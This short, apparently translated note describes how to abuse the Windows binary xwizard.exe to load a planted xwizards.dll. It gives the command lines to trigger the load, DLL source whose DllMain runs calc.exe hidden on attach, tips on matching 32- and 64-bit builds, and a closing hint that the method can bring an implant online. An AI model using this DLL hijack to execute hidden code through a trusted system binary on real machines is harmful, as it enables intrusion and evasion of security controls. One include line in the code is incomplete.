Introduction
xwizard.exe use xwizards.dll,Support win7 and above system
Actual use
such as Path: C:\Windows\System32
Use case:
xwizard processXMLFile 1.txt
xwizard RunWizard /u {11111111-1111-1111-1111-111111111111}
xwizard RunPropertySheet /u {11111111-1111-1111-1111-111111111111}
Note that the GUID length needs to be fixed, otherwise an error will be reported
The popover code is as follows:
#include "pch.h"
#include
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "yyy", "y", MB_OK);
WinExec("calc.exe", SW_HIDE);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Running the program directly will not trigger the popover
Confirm that the popover can be triggered after the normal call
Must conform to the relevant grammatical structure
Note that you need to distinguish between 64 and 32 bits!!
In the same way, you can run the program here and you can go online,The basic operations are omitted